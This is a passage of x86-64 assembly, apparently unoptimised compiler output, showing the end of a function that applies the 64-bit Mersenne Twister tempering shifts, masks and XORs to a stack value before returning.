mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x11
movabs rcx, 0x71d67fffeda60000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x25
movabs rcx, 0xfff7eee000000000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shr rax, 0x2b
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret